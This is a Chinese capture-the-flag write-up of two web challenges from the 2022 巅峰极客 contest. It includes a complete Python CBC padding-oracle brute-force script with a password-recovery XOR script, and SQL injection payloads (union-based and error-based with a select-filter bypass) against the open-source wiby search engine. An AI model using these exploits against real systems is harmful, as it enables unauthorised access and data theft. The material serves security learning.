巅峰极客2022
web
babyweb
提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[NPUCTF2020]web狗
原理简单讲一下,这道题的逻辑大概就是,cookie传入一个admin_password的base64值,然后后端进行解密,因为是采用了CBC模式,所以可以构造这个base64的值进行爆破中间值。具体的爆破原理可以看文章https://www.cnblogs.com/ntestoc/p/11044433.html
这道题是采用的PKCS7,也就是16字节为一组进行分组,题目给的password是64字节的,其中前16个字节是初始IV偏移,然后利用我写的exp一组一组爆破就行了,爆破需要时间,这是非常恶心的一点
# -*- coding: utf-8 -*-
# @Time : 2022/8/17 14:11
# @Author : pysnow
import requests
import time
import base64
enc = base64.b64decode("KBLR73Xs+27+jqaDJxxn5m4dhT0JKrZO7ZrdTDKwY4MWT99pwDAr+Doinyc7Z7aQcWMIJXj1X26zfQIzsKJmpQ==")
iv = enc[:16]
a = enc[16:32]
b = enc[32:48]
c = enc[48:64]
N = 16
middle = b""
m = b''
jwt = '; session=eyJhZG1pbl9wYXNzd29yZCI6IktCTFI3M1hzKzI3K2pxYURKeHhuNW00ZGhUMEpLclpPN1pyZFRES3dZNE1XVDk5cHdEQXIrRG9pbnljN1o3YVFjV01JSlhqMVgyNnpmUUl6c0tKbXBRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvyqfg.rne4FOqd4fwNXCQxvbDkQq7iTCE'
url = 'http://eci-2ze5c6hgy29ykascmvi4.cloudeci1.ichunqiu.com/login'
def xor(a, b):
return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])
def byte(key):
return key.to_bytes(1, 'big')
for step in range(1, N + 1):
padding = byte(step) * (step - 1)
print("爆破的最后{}位".format(step))
for i in range(0, 256):
# print(i)
new_iv = byte(0) * (N - step) + byte(i) + xor(padding, middle)
data = {
"username": "admin", "password": "admin"
}
payload = new_iv + a
# print(len(payload))
headers = {
"Cookie": "admin_password=" + base64.b64encode(payload).decode() + jwt
}
# print(base64.b64encode(payload).decode())
r = requests.post(url=url, data=data, headers=headers)
time.sleep(0.01)
# print(i, r.text)
if r.text == "False":
print(i, r.text)
middle = xor(byte(i), byte(step)) + middle
print(middle)
break
注意修改的一点
payload = new_iv + a
比如说你要爆破第一组就这么写
要爆破第二组就如下方式写
payload = a + new_iv + b
理论上是可以只写两组的,没试过,我感觉应该可以
然后将爆破得到的中间值跟前一组的密文(也就是偏移)进行异或一下就得到明文
下面是异或脚本
# -*- coding: utf-8 -*-
# @Time : 2022/8/17 17:29
# @Author : pysnow
# mid = b" z\xe9^\xcc<'\xf46.\x93+7k\xba\x9c"
# mid = b'X)\xa8\x05<K\x83c\xd4\xa3\xe5-\x02\xd1\x06\xe5'
mid = b'Lp\xe1\xdeF\xd8\xc8\x0f\xd3\xbb\x96\xb4\x131S\x80'
// mid为三次中间值
iv = b"(\x12\xd1\xefu\xec\xfbn\xfe\x8e\xa6\x83'\x1cg\xe6"
b = b'\x16O\xdfi\xc00+\xf8:"\x9f\';g\xb6\x90'
a = b'n\x1d\x85=\t*\xb6N\xed\x9a\xddL2\xb0c\x83'
def xor(a, b):
return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])
def byte(key):
return key.to_bytes(1, 'big')
print(xor(mid, iv))
最后爆破出密码为db01343a-5074-4f64-85a5-998a0aef6567\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c
admin使用db01343a-5074-4f64-85a5-998a0aef6567密码登陆得到flag
ezWeb
下载附件可以看到flag分为两部分放在了flag1和flag2表里面
#!/bin/bash
export FLAG1="flag{this_is_a"
export FLAG2="_test"
mysql -u root wiby -e "create table flag1 (flag text); insert into flag1 values ('$FLAG1'); grant select on flag1 to 'approver'@'localhost';" && \
mysql -u root wiby -e "create table flag2 (flag text); insert into flag2 values ('$FLAG2'); grant select on flag2 to 'crawler'@'localhost';"
export FLAG1="flag{flag_not_here}"
export FLAG2="flag{flag_not_here}"
rm -rf /flag.sh
而且赋予了不同的权限
robots.txt文件给出了账号密码admin/admin888
在github上找到该项目,查看issue发现这个存在历史漏洞,sql注入和csrf
因为给了admin密码,那就不需要再通过csrf获取密码了
https://github.com/wibyweb/wiby/issues/1
有两个地方存在注入点,直接给出我的exp,第一处特别简单,也没啥过滤啥的,第二出过滤了select,可以利用mysql8的性质配合报错注入进行bypass
http://123.56.45.214:27423/tags/tags.php
url=-1"union select flag from `flag2`%23
http://123.56.45.214:27423/review/review.php
updatable1=1&worksafe1=on&crawldepth1=&crawlpages1=&crawltype1=0&startid=1&endid=0/**/and/**/extractvalue(1,concat(0x5c,(table/**/flag1)))
1 条评论
学到了OωO